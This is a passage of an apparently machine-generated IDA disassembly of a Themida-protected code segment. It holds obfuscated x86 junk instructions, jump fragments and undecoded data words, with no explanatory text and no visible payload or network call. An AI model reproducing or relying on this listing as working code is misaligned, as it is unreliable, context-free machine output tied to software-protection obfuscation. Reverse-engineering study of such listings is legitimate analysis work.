0CF813311h, 7450597Ch, 12F7E9h, 24348900h, 31B95157h dd 0E966A422h, 0FFFFDCDAh, 24348153h, 7CCC7F8Ch, 83242C8Bh dd 0F58104C4h, 7CCC7F8Ch, 8BEF895Bh, 0C483242Ch, 0FDC78104h dd 10BA076h, 0FDB850D7h, 290BA076h, 34FF58C7h, 24148B24h dd 0E904C483h, 5027h, 592434FFh, 5204C483h, 1BAh, 5AD10100h dd 0FFFFB850h, 7EE9FFFFh, 3000009Dh, 14322414h, 0CE37E924h dd 0C781FFFFh, 4, 703C68h, 3D9AE900h, 0C1000000h, 5CC18058h dd 254968h, 6724E900h, 0ECBE0000h, 816D677Fh, 0F72DC6F6h dd 5EF3293Fh, 0BD55C329h, 74F21B1Bh, 7830E9h db 0 ; --------------------------------------------------------------------------- loc_50FEC1: ; CODE XREF: Themida_:0051FFE7j pop esp mov [esp], edi push esi mov esi, 5EA770A6h mov edi, esi pop esi add edi, 0B84FE56Eh add ecx, edi mov edi, [esp] push ecx jmp loc_513351 ; --------------------------------------------------------------------------- loc_50FEDF: ; CODE XREF: Themida_:0050F932j push esi push edi push 36AD0560h pop edi not edi jmp loc_510428 ; --------------------------------------------------------------------------- dw 1433h dd 24248B24h, 0E92434FFh, 349Ch, 0E958E700h, 0FFFFBBC2h dd 0E9241489h, 1B05h, 1FE9DF01h, 83FFFFBDh, 0F381FFC3h dd 14202C6Fh, 0C108E3C1h, 0BA5204EBh, 3D7B156Fh, 894E957h dd 0D3F70001h, 2414F753h, 5BBA685Bh, 4890000h, 6ABDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FF42: ; CODE XREF: Themida_:00519CC0j pop ecx add esp, 4 loc_50FF46: ; CODE XREF: Themida_:0051F5CFj sub esp, 4 mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_5158D1 ; --------------------------------------------------------------------------- loc_50FF73: ; CODE XREF: Themida_:00515136j mov [esp], ebx push esp pop ebx jmp loc_5159C4 ; --------------------------------------------------------------------------- db 52h, 0E9h, 0F2h dd 880000D8h, 0CD61E9D5h, 0BB530000h, 43C83610h, 0F75BD831h dd 0E4BF57D0h, 31379076h, 243C8BF8h, 5104C483h, 0B08BA52h dd 0CA810671h, 7A7471F7h, 66A4E9h, 24048700h, 0F7B2E95Ch dd 815F0000h, 4C7h, 0D8685300h, 8900002Ah, 52512404h, 0DD50B2BAh dd 0C3CA8115h, 814F0109h, 93D878C2h, 8BD189C0h, 0C4832414h dd 0A34DE904h, 0FD680000h, 89000078h, 8B54241Ch, 18E9241Ch db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50FFFF: ; CODE XREF: Themida_:0051C4B6j sub ebp, ecx mov ecx, [esp] add esp, 4 xor ebp, 3D9A75Bh xor eax, ebp pop ebp jmp loc_51614B ; --------------------------------------------------------------------------- db 5Dh, 81h, 0F1h dd 1D16522Ch, 0FFE128E9h, 0FFC480FFh, 80E4C480h, 0E952EFCCh dd 6236h ; --------------------------------------------------------------------------- loc_510030: ; CODE XREF: Themida_:0051311Cj add edx, 2237423Ch mov esi, [esp] add esp, 4 xor edx, 25490456h sub esi, edx pop edx and eax, esi jmp loc_513747 ; --------------------------------------------------------------------------- db 29h dd 0EEBE56D8h, 0E91DFA5Ah, 0D0CDh, 31243433h, 34332434h dd 4E95C24h, 57000060h, 5F2414F7h, 5145FD87h, 65B2D0B9h dd 8BCD0119h, 0C483240Ch, 5DEE8904h, 460BC681h, 0CE296696h dd 460BEE81h, 65E96696h, 8B00003Fh, 0C4832414h, 4EC8104h dd 89000000h, 95B9240Ch, 831E983Ch, 3C8904ECh, 7F1ABF24h dd 0F90926FBh, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 0E83E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5100D2: ; CODE XREF: Themida_:00520D1Aj pop edi sub ecx, esi pop esi mov ebx, [esp] add esp, 4 push 148h mov [esp], ecx push dword ptr [esp+4] jmp loc_517AF2 ; --------------------------------------------------------------------------- loc_5100ED: ; CODE XREF: Themida_:0050CBBFj mov [esp], ebx push ecx mov ecx, esp add ecx, 4 jmp loc_51C31D ; --------------------------------------------------------------------------- loc_5100FE: ; CODE XREF: Themida_:00519BC0j push esi jmp loc_50B657 ; --------------------------------------------------------------------------- loc_510104: ; CODE XREF: Themida_:0051218Fj push ecx mov ecx, 156D1588h add [esp+8], ecx pop ecx sub [esp+4], ecx sub dword ptr [esp+4], 156D1588h add dword ptr [esp+4], 192E41h jmp loc_50BFB3 ; --------------------------------------------------------------------------- dd 24248966h, 4D16E9h, 0C8B6600h, 5CC96824h, 3C890000h dd 57E78924h, 0B850E789h, 4, 16E9C701h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51014F: ; CODE XREF: Themida_:0050E74Fj mov [esp], esi mov esi, 64FA1905h jmp loc_513032 ; --------------------------------------------------------------------------- loc_51015C: ; CODE XREF: Themida_:00512559j push 57DCh mov [esp], esi jmp loc_50F276 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 5104C483h, 0C181E189h, 4, 7306BE56h, 0C6814B82h, 5DA77CAh dd 0FFDE3AE9h, 4BCE81FFh, 8174E80Bh, 4ECh, 243C8900h, 7471CDBFh dd 6DE9527Bh, 89000036h, 405E0h, 0E8830000h, 24048704h dd 243C895Ch, 0FFCFFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5101B9: ; CODE XREF: Themida_:0051572Dj push eax push esi pop eax jmp loc_51BB9C ; --------------------------------------------------------------------------- loc_5101C1: ; CODE XREF: Themida_:0050E571j push dword ptr [esp] jmp loc_50F2F7 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 0E9000000h, 7AC7h, 0B062B353h, 0C4DAE977h, 0C8BFFFFh dd 4C48324h, 4C481h, 22E90000h, 8B000024h, 0C4812404h dd 4, 4EC81h, 3E90000h, 0D1FFFFFAh, 6B850E7h, 211BD86Fh dd 0E95358C7h, 107D6h, 0EAE92C2Ch, 550000DEh, 8904EC83h dd 0AEBB241Ch, 892A2F6Ah, 0A5E95BDDh, 510000C1h, 592404FEh dd 77B35366h, 5B66D900h, 68h, 242C8000h, 240C28D1h, 0D1240480h dd 0E00FE9h, 2E7C100h, 2D8CF81h, 0EF812B69h, 2B7B43D8h dd 34FFFA89h, 0C4835F24h, 0E9D50104h, 639Ch, 24048F5Ch dd 6424248Bh, 0E9028966h, 7E43h ; --------------------------------------------------------------------------- loc_510280: ; CODE XREF: Themida_:00512CCCj sub ebx, 47C245Ch add ebx, ecx push edx mov edx, 47C245Ch add ebx, edx pop edx pop ecx jmp loc_516287 ; --------------------------------------------------------------------------- loc_510297: ; CODE XREF: Themida_:0051AA3Ej push esi jmp loc_518C0C ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 1Dh dd 55FFFFBDh, 5A263FBDh, 77B85037h, 48710D5Ch, 3F033540h dd 0ABE941C0h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5102BB: ; CODE XREF: Themida_:0051FFBBj mov edi, 667D56EAh and ebp, edi mov edi, [esp] add esp, 4 inc ebp neg ebp xor ebp, 0CD17CC92h mov edx, ebp pop ebp push 5EE2h mov [esp], ebx jmp loc_51C05B ; --------------------------------------------------------------------------- dd 8B243433h, 89662424h, 0F2E92404h, 51FFFFB2h, 4F55BB53h dd 0EBC171F4h, 7EBC102h, 0FFDE9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_510305: ; CODE XREF: Themida_:0050D6EDj mov edi, ebp jmp loc_50B6E3 ; --------------------------------------------------------------------------- dd 3065B35Bh, 24048BE3h, 20A068h, 241C8900h, 6BE9E389h dd 5F00009Ch, 0FD41E9h, 81D50100h, 307334C5h, 30C58162h dd 5A7AA76Dh, 0FFD320E9h, 0CAC681FFh, 1164C57h, 0CAEE81FEh dd 8B164C57h, 0E955243Ch, 733h ; --------------------------------------------------------------------------- loc_510354: ; CODE XREF: Themida_:00513147j dec esi shl esi, 1 xor esi, 1BE8C56Ch xor edx, esi pop esi sub esp, 4 mov [esp], esi push ebp mov ebp, 43D31F94h push eax mov eax, 36148CFh or eax, 21051AB4h jmp loc_50E271 ; --------------------------------------------------------------------------- loc_51037C: ; CODE XREF: Themida_:0051DBBAj pop edx add ecx, edi jmp loc_50C381 ; --------------------------------------------------------------------------- dd 58E388h, 0D3F65AD3h, 0C014EB80h, 0F38004EBh, 0E9D8309Ch dd 73B0h, 501CBE56h, 0E9536097h, 0FFFFCCAFh, 0DA4161BEh dd 0C1EED15Bh, 0F0E906E6h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5103B7: ; CODE XREF: Themida_:0050F232j xor ecx, ebx jmp loc_50B716 ; --------------------------------------------------------------------------- loc_5103BE: ; CODE XREF: Themida_:00510E99j add ebp, 4 xchg ebp, [esp] pop esp push 3426h mov [esp], esi mov esi, esp jmp loc_51E276 ; --------------------------------------------------------------------------- dd 0E294FBDh, 2953B85Eh, 0E8295E0Eh, 8C5815Dh, 149434Eh dd 8ED81C5h, 5849434Eh, 0E904ED83h, 0FE81h, 55243C89h dd 3CD8E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_510402: ; CODE XREF: Themida_:00511E97j add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx jmp loc_516C0E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 592434FFh, 0E9E78957h, 0FFFFFA5Eh ; --------------------------------------------------------------------------- loc_510428: ; CODE XREF: Themida_:0050FEE9j shr edi, 4 add edi, 46000383h push edi add dword ptr [esp], 77FE7975h pop esi sub esi, 77FE7975h pop edi shr esi, 3 inc esi add esi, 5C70B3F8h add ebx, esi jmp loc_513345 ; --------------------------------------------------------------------------- loc_510452: ; CODE XREF: Themida_:0050E62Dj push edi mov edi, 1FCF58A0h add esi, edi jmp loc_510839 ; --------------------------------------------------------------------------- db 59h dd 4BD55h, 0EE010000h, 2434875Dh, 4A87685Ch, 2C890000h dd 2C8B5424h, 43CE924h, 0C7810001h, 35732156h, 0AA2DE9h dd 68405B00h, 5718h, 51241C89h, 4E5E49B9h, 166BB27h, 0C381E0C2h dd 76BE7DE1h, 0EB81CB01h, 76BE7DE1h, 0FFE899E9h, 0E9F831FFh dd 10454h ; --------------------------------------------------------------------------- loc_5104B8: ; CODE XREF: Themida_:00511047j push ecx jmp loc_5132F6 ; --------------------------------------------------------------------------- loc_5104BE: ; CODE XREF: Themida_:00519695j neg edi shl edi, 4 xor edi, 27C07220h shl edi, 5 sub edi, 0FBD73D96h sub ebx, edi pop edi sub ebx, 346687ACh jmp loc_514D08 ; --------------------------------------------------------------------------- dd 5CEE8158h, 893938EDh, 3EB8E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5104EE: ; CODE XREF: Themida_:0051384Aj add ebp, 4 add ebp, 4 jmp loc_50DB54 ; --------------------------------------------------------------------------- loc_5104FF: ; CODE XREF: Themida_:0051E872j push edx jmp loc_515097 ; --------------------------------------------------------------------------- db 89h, 0E7h, 81h dd 4C7h, 4EF8100h, 33000000h, 3C31243Ch, 243C3324h, 0FFBD23E9h dd 5DE829FFh, 4EC81h, 4890000h, 2BBE5624h, 31001009h, 8B042474h dd 40E92434h, 55FFFFD8h, 9AABCCBDh, 5DEE31C1h, 348BF529h dd 0E6895624h, 4C681h, 0BD550000h, 5AE82256h, 0FFFFED81h dd 30E9FFFFh, 2DFFFFE0h, 6BF5D4Ah, 81242C8Bh, 4C4h, 0CC41E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51057A: ; CODE XREF: Themida_:0050F6A9j mov [esp], esi push 5BD9h mov [esp], ecx jmp loc_5172F1 ; --------------------------------------------------------------------------- dw 0E789h dd 4C781h, 0EF810000h, 4, 5C243C87h, 0FF242C89h, 5D042474h dd 8B24048Fh, 0ACE92424h, 81FFFFBDh, 0FB5315F5h, 0D4B95199h dd 810E2E7Eh, 7BE120C1h, 0AFEF8155h, 81025467h, 0F6454EC7h dd 50CF2975h, 7C5D79B8h, 48D8F72Eh, 2D06E0C1h, 0EAF25C32h dd 5658C729h, 636805BEh, 6EC68159h, 87492F75h, 836AE9DEh dd 0FFBD0000h, 8136EB73h, 203EEFEDh, 0FF1BE90Ah, 0C381FFFFh dd 4, 5C241C87h db 55h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_51BB17 ; --------------------------------------------------------------------------- db 1 dd 8104246Ch, 0B2042444h, 0FF648679h, 555D2434h, 0FFC83BE9h db 0FFh ; --------------------------------------------------------------------------- loc_510635: ; CODE XREF: Themida_:00515E71j mov bl, ch jmp loc_50D431 ; --------------------------------------------------------------------------- dd 4240481h, 0E9000000h, 0CEE6h, 68EB815Bh, 81531B45h dd 0A6D373EBh, 8BDE896Ah, 1BE9241Ch, 810000FEh, 0D80EC9C2h dd 8852D19h, 0D0017203h, 3088505h, 24148B72h, 4C481h, 2050000h dd 87000000h, 685C2404h, 7688h, 0FFC657E9h, 560B68FFh dd 81590406h, 6560FF1h, 0DB59E904h, 0CB000000h, 5950EB80h dd 0FEBBB050h, 0C05E04C8h, 0E8C006E0h, 13404h, 0BC53E9C3h dd 0F3B90000h, 8926EB24h, 0D3F759CBh, 0E9DBF743h, 5CFDh ; --------------------------------------------------------------------------- loc_5106CC: ; CODE XREF: Themida_:00515319j mov ebp, 4 add esi, ebp pop ebp jmp loc_51D449 ; --------------------------------------------------------------------------- aUsm db 'U',0Ah,0 dw 3100h aSsg db 'g',0 align 2 loc_5106E6: ; CODE XREF: Themida_:0051E7F1j mov edx, [esp] jmp loc_50E3B0 ; --------------------------------------------------------------------------- dw 0F9F6h dd 0CCB60F66h, 0EC63E9h, 4C48100h, 83000000h, 0E95004C0h dd 9E47h ; --------------------------------------------------------------------------- loc_510708: ; CODE XREF: Themida_:0051C774j add esp, 4 and eax, ebx jmp loc_5140C7 ; --------------------------------------------------------------------------- db 66h, 0F7h, 1Ch dd 0C6E99C24h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51071F: ; CODE XREF: Themida_:0050D406j and ecx, edi push dword ptr [esp] push dword ptr [esp] mov edi, [esp] add esp, 4 push edx mov edx, esp jmp loc_51FEF2 ; --------------------------------------------------------------------------- a4zs?q db '(,4Z?Q',0 dw 5A00h dd 4C281h, 0C2810000h, 4, 4EC81h, 14890000h, 2474FF24h dd 2434FF04h, 8324148Bh, 33E904C4h, 8900008Fh, 0EAE92424h dd 29000029h, 85E959CDh db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510777: ; CODE XREF: Themida_:0050F2B0j add ecx, 4 jmp loc_50C5BA ; --------------------------------------------------------------------------- dw 0B866h dd 89662A6Fh, 816658C3h, 667FFEF3h, 3DE1E381h, 7CEB8166h dd 0D80166E6h, 0F11CE9h, 1BC18100h, 0F70FED6Eh, 7E9C1D1h dd 4D7FE181h, 814121E6h, 204C4FE9h, 20B95101h, 0E9641B0Fh dd 8832h ; --------------------------------------------------------------------------- loc_5107C4: ; CODE XREF: Themida_:0051554Dj xor ch, dh xor dh, ch xor ch, dh and ch, 0ECh push edx mov dl, 59h sub dl, 97h jmp loc_50C05D ; --------------------------------------------------------------------------- dd 1CED815Bh, 4D30D448h, 534DDDF7h, 376692BBh, 0C04FE92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5107EE: ; CODE XREF: Themida_:0051E594j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_51871E ; --------------------------------------------------------------------------- dw 8953h dd 0CDCAE9E3h, 3487FFFFh, 24248B24h, 5C24048Fh, 92E9C80Fh dd 290000DDh, 16850C2h, 89000054h, 3CBB241Ch, 533FCC19h dd 8A240481h, 58396B41h, 0B009E9h db 0 ; --------------------------------------------------------------------------- loc_510839: ; CODE XREF: Themida_:0051045Aj pop edi mov ecx, [esp] add esp, 4 xor esi, [esp] jmp loc_51F221 ; --------------------------------------------------------------------------- db 5 dd 4, 405h, 24048700h, 0A7685B5Ch, 89000076h, 428F242Ch dd 242C8B38h, 0FFFF95E9h, 2080BFFFh, 0B95176BEh, 16D55C00h dd 35B5E981h, 0CF31B7CFh, 0EF814F59h, 3BF0553Ah, 0EA4EF81h dd 6EE97904h, 0E9000029h, 0FFFFAD4Dh ; --------------------------------------------------------------------------- loc_510898: ; CODE XREF: Themida_:005164C6j add esp, 4 add edi, ecx pop ecx add ebx, edi pop edi jmp loc_518F7B ; --------------------------------------------------------------------------- db 68h, 49h, 38h dd 24890000h, 24048324h, 167CE904h, 31AD0000h, 78B068D8h dd 3C890000h, 47546824h, 34890000h, 65386824h, 348B4B4Fh dd 0BFF5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5108DA: ; CODE XREF: Themida_:0050B603j xchg eax, [esp] pop esp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_51CF83 ; --------------------------------------------------------------------------- aVs db 'V',0 db 0 ; --------------------------------------------------------------------------- loc_5108F5: ; CODE XREF: Themida_:00511A81j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_51FCB3 ; --------------------------------------------------------------------------- dw 5742h dd 0FFFF60E9h, 28A0B9FFh, 0C9815A3Ah, 31016B70h, 4905E9C1h dd 2262C981h, 0E9813E57h, 12F197BBh, 46A7BB53h, 0D3F74BBEh dd 8107EBC1h, 0B429B6EBh, 5BD931DCh, 2961E9h, 0AB65200h dd 0FFC816E9h, 0A2C381FFh, 6870255Fh, 5271h, 68242C89h dd 6A95h, 0FFE9DFE9h, 61C781FFh, 81223835h, 0A383FC7h dd 90E95B63h, 80FFFFBBh, 0EFC008F7h, 0A4EF8006h, 30E7F780h dd 0DEF65BFEh, 0EE80D6F6h, 0B45066E6h, 0E9E3001Fh, 59D4h dd 3304C483h, 2C31242Ch, 242C3324h, 6624248Bh, 2404B30Fh dd 0AC37E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5109AE: ; CODE XREF: Themida_:0051751Dj shr ebx, 6 inc ebx shl ebx, 5 inc ebx jmp loc_516894 ; --------------------------------------------------------------------------- aSPSf db 'Sp([f',0 align 4 dd 240C8B66h, 454B68h, 9452E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5109D6: ; CODE XREF: Themida_:00516C53j sub [esp+4], esi push esi jmp loc_514814 ; --------------------------------------------------------------------------- dd 33243C31h, 248B243Ch, 4EC8324h, 68240C89h, 33E6h, 6090E9h dd 0E9F72900h, 0C6FCh, 59CB295Dh, 515BD829h, 11797EB9h dd 0E9814158h, 5AEB75A7h, 8E1C149h, 0C372E981h, 0C801EA2Ch dd 0BD3BE959h, 5F59FFFFh, 1F77EE81h, 55E90C80h, 2D000068h dd 6B8F413Ah, 3CCEBE56h, 0F0010D21h, 1FA3E9h, 18396800h dd 1C890000h, 81E38924h, 4C3h, 0CEEE900h, 0F8010000h, 83243C8Bh dd 936804C4h, 8900003Bh, 0B850241Ch, 38065B9h, 8A4AC535h dd 486F3509h, 0E95278D8h, 0FFFFBF1Eh, 5EE99C51h, 68FFFFABh dd 7AC2h, 89240C89h, 0B494E9E1h, 0EA01FFFFh, 38C7815Dh dd 0E934775Bh, 7BAh ; --------------------------------------------------------------------------- loc_510AA4: ; CODE XREF: Themida_:005139B9j mov esp, [esp] imul ecx jmp loc_51CFAA ; --------------------------------------------------------------------------- dw 5854h dd 405h, 7ED36800h, 34890000h, 0B6BE924h, 0C1310000h, 2434FF58h dd 4C4815Eh, 0FF000000h, 515F2434h, 0C181E189h, 4, 4C181h dd 68E90000h, 81000016h, 4ECh, 24048900h, 0F2685854h, 0E900003Fh dd 0FFFFF319h, 0C0B60F59h, 0E987048Fh, 0DEBh, 8324348Bh dd 75E904C4h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510B13: ; CODE XREF: Themida_:0050E9A1j add esp, 4 jmp loc_520AE5 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 581773BBh, 0A5EB8141h dd 506FA174h, 0A75563B8h, 6C760D59h, 0C1485146h, 272D02E0h dd 0E92462A9h, 0FFFFE860h ; --------------------------------------------------------------------------- loc_510B50: ; CODE XREF: Themida_:0050E1CFj mov ecx, 1 and eax, ecx mov ecx, [esp] jmp loc_51E71B ; --------------------------------------------------------------------------- db 80h dd 0D10003F2h, 9A90E9h, 2EAC100h, 8105E2C1h, 55FDBAEAh dd 8BD6090Eh, 7AE92414h, 0ADFFFFB5h, 0B134D32Dh, 68DA2D6Fh dd 0EC8115CEh, 4, 0E9243489h, 8C71h, 5552E389h, 0AE7013BDh dd 0C4CD8160h, 81344674h, 747A25CDh, 2457E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_510BB2: ; CODE XREF: Themida_:0051926Bj mov ebx, esi jmp loc_5164B9 ; --------------------------------------------------------------------------- db 57h, 83h, 0ECh dd 24348904h, 9D0FD4BEh, 0BDEE810Ah, 684D3656h, 3C85h dd 68C7E9h db 0 ; --------------------------------------------------------------------------- loc_510BD5: ; CODE XREF: Themida_:0051E36Dj mov esi, 4 add ecx, esi pop esi push edi push ebx mov ebx, 0DCD36C4h neg ebx xor ebx, 0A1B6A834h mov edi, ebx pop ebx add edi, 2B0255F0h add edi, 8179490Ch add ecx, edi pop edi jmp loc_5161FD ; --------------------------------------------------------------------------- db 57h dd 2BFh, 5FFA8900h, 5490E9h, 241CF700h, 0A9CBE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510C1A: ; CODE XREF: Themida_:00517448j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 5929h mov [esp], eax push esp pop eax add eax, 4 push 6B16h mov [esp], edi mov edi, 42037779h push edi jmp loc_518050 ; --------------------------------------------------------------------------- dw 0A068h dd 89000030h, 0C3E9242Ch, 8100009Fh, 0F82723C5h, 0FFEE01C2h dd 68E92434h, 0B700000Fh, 51AF046Ch, 0EEA2E9h, 24348900h dd 0F50DE9h db 0 ; --------------------------------------------------------------------------- loc_510C75: ; CODE XREF: Themida_:0050C014j and eax, ecx jmp loc_50F2D4 ; --------------------------------------------------------------------------- dd 1F2372BBh, 81DBF717h, 0F12007EBh, 0D7F38106h, 0E9640B0Eh dd 24B8h, 41AEBE56h, 132D7147h, 1794206h, 61305F0h, 15E7942h dd 0F1AEE9F8h, 0C3290000h, 0FFE83FE9h, 8CEA81FFh, 5100E626h dd 7A36B3B9h, 0BA54E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_510CC6: ; CODE XREF: Themida_:00513301j neg ecx jmp loc_51CE29 ; --------------------------------------------------------------------------- db 81h, 0E2h, 22h dd 8138D120h, 8DEBC3C2h, 0E9D0897Dh, 0FFFFCF1Ah, 815FFA29h dd 0F43770C2h, 4B18E900h, 0C7810000h, 2, 2474FF57h, 48F5F04h dd 0BE95C24h, 800000D0h, 0EA807FF2h, 306FE95Eh, 48F0000h dd 24248B24h, 0D800A304h, 9681E9h, 24148B00h, 0FFB58AE9h db 0FFh ; --------------------------------------------------------------------------- loc_510D25: ; CODE XREF: Themida_:0050CDFBj add ebp, 13544842h xor ebp, 4FD56FDFh jmp loc_51876C ; --------------------------------------------------------------------------- dw 0EF81h dd 715D638Ah, 0FE05E9h db 0, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_51E6F8 ; --------------------------------------------------------------------------- aZzH4 db 'Z<$\h4!',0 align 4 dd 54241489h, 8124148Bh, 4C4h, 4C28100h, 55000000h, 0A342E9h dd 0C1D8F700h, 0D0F702E8h, 2147E9h, 0E932FF00h, 0FFFFA865h dd 8304C483h, 148904ECh, 4BA24h, 0EB810000h, 2493758Dh dd 4261EB81h, 0D301666Eh, 0EBEBE9h db 0 ; --------------------------------------------------------------------------- loc_510DA1: ; CODE XREF: Themida_:00518788j mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] jmp loc_516ABA ; --------------------------------------------------------------------------- db 81h dd 5824EBF3h, 56BD556Ch, 1990D94h, 91055DEBh, 0E904427Dh dd 0C284h, 8350C328h, 248904ECh, 24048324h, 0DCE95804h db 0B0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510DDB: ; CODE XREF: Themida_:0051FA56j sub esp, 4 push esp pop dword ptr [esp] jmp loc_50E725 ; --------------------------------------------------------------------------- loc_510DE7: ; CODE XREF: Themida_:00512A1Bj xchg ebx, [esp] mov eax, [esp] jmp loc_51C3A6 ; --------------------------------------------------------------------------- dw 8966h dd 0F66240Ch, 5AE9C8B6h db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_510DFF: ; CODE XREF: Themida_:0050FAA7j add esi, 4 jmp loc_51F903 ; --------------------------------------------------------------------------- loc_510E0A: ; CODE XREF: Themida_:0051D3A7j sub edx, 1D2F6BA9h jmp loc_51EB0C ; --------------------------------------------------------------------------- loc_510E15: ; CODE XREF: Themida_:00512AB2j add [esp+4], eax pop eax mov edx, [esp] add esp, 4 sub edx, 67410E8Ah mov ebp, [esp] jmp loc_50D9E1 ; --------------------------------------------------------------------------- dw 0C231h dd 20FDE9h, 4C48100h, 0 dd 0C83058E1h, 240C8B66h, 1B2968h, 243C8900h, 0C781E789h dd 4, 8702C783h, 248B243Ch, 1E05E924h, 555D0000h, 0EF89D589h dd 5D2434FFh, 10154E9h, 24048F00h, 7740E9h db 0 ; --------------------------------------------------------------------------- loc_510E79: ; CODE XREF: Themida_:0050CB02j xor ebx, [esp] pop esp or eax, eax jnz loc_514EFE push 1 push dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_5103BE ; --------------------------------------------------------------------------- loc_510E9E: ; CODE XREF: Themida_:0050D843j mov [esp], ebx sub esp, 4 mov [esp], ebx push esi mov esi, 0FD437D1h mov ebx, esi pop esi sub [esp+4], ebx pop ebx pop ebp push ecx jmp loc_512584 ; --------------------------------------------------------------------------- dd 0E904C483h, 0EC52h ; --------------------------------------------------------------------------- loc_510EC4: ; CODE XREF: Themida_:0051AC63j pop esp mov [esp], ecx mov ecx, 4 sub esi, ecx pop ecx push esi push dword ptr [esp+4] pop esi jmp loc_50C81B ; --------------------------------------------------------------------------- loc_510EDB: ; CODE XREF: Themida_:0051F679j add dword ptr [esp+8], 7B4024ECh pop esi jmp loc_51B69B ; --------------------------------------------------------------------------- loc_510EE9: ; CODE XREF: Themida_:00511BA3j mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] jmp loc_50C731 ; --------------------------------------------------------------------------- loc_510EFF: ; CODE XREF: Themida_:005169FAj push esp jmp loc_51EA74 ; --------------------------------------------------------------------------- db 58h, 80h, 0C2h dd 1BE953FFh db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_510F0F: ; CODE XREF: Themida_:0050CAE5j sub esp, 4 jmp loc_51126E ; --------------------------------------------------------------------------- db 0F7h aQUts db '',8,'UT',0 dw 5000h dd 0FF98E9h db 0 ; --------------------------------------------------------------------------- loc_510F29: ; CODE XREF: Themida_:0050DC33j xchg esi, [esp] pop esp mov [esp], eax jmp loc_5182A8 ; --------------------------------------------------------------------------- aZqs2 db '2',0 align 4 dd 24048F5Dh, 0C528E95Ch, 0C4830000h, 12B7E904h, 54570000h dd 0FFD43CE9h, 24248BFFh, 0F706E9C1h, 0C5E981D9h, 18B42FAh dd 56E959CAh, 530000C9h, 1C1EBB66h, 0EEEB8166h, 0D9296613h dd 83241C8Bh, 0C16604C4h, 496604E1h, 10E98166h, 0BE665652h dd 0F7662062h, 0C68166D6h, 29664F68h, 4BE95EF0h, 55FFFFDEh dd 0FFE6ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_510FA5: ; CODE XREF: Themida_:00511A6Fj mov [esp], eax mov eax, esp jmp loc_519CA4 ; --------------------------------------------------------------------------- db 87h dd 4A5A243Ch, 248FBD55h, 22E92608h, 5CFFFFE8h, 0F0F9E9h db 0 ; --------------------------------------------------------------------------- loc_510FC5: ; CODE XREF: Themida_:005209BAj mov [esp], edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_50FBFE ; --------------------------------------------------------------------------- loc_510FDC: ; CODE XREF: Themida_:00511CAEj sub esi, eax push dword ptr [esp] pop eax add esp, 4 and ecx, esi mov esi, [esp] add esp, 4 add ecx, 1 xor ecx, 5B7C6EE6h xor ecx, 375E6EA4h sub esp, 4 mov [esp], ecx jmp loc_50D96F ; --------------------------------------------------------------------------- loc_51100A: ; CODE XREF: Themida_:00516CD2j xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5117B2 ; --------------------------------------------------------------------------- dd 0F75AD189h, 38C181D1h, 0C17B393Eh, 0B85003E1h, 64B36844h dd 139B68h, 24348900h, 0A9349DBEh, 5EF02119h, 17053F35h dd 0B9C7E909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511046: ; CODE XREF: Themida_:00511C0Dj pop ebx jmp loc_5104B8 ; --------------------------------------------------------------------------- dd 5C24048Fh, 89242C89h, 0E9CBE9E5h, 8B5D0000h, 0C483241Ch dd 1E95104h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511067: ; CODE XREF: Themida_:005178D2j push ebx jmp loc_51A5D8 ; --------------------------------------------------------------------------- aQ8Hs db 'Q8(h]%',0 db 0 ; --------------------------------------------------------------------------- loc_511077: ; CODE XREF: Themida_:00518CF1j xor ecx, 277F2CCDh add edx, ecx pop ecx xchg edx, [esp] pop esp movsx ecx, ax push 447h mov [esp], eax mov eax, esp sub esp, 4 mov [esp], ebp 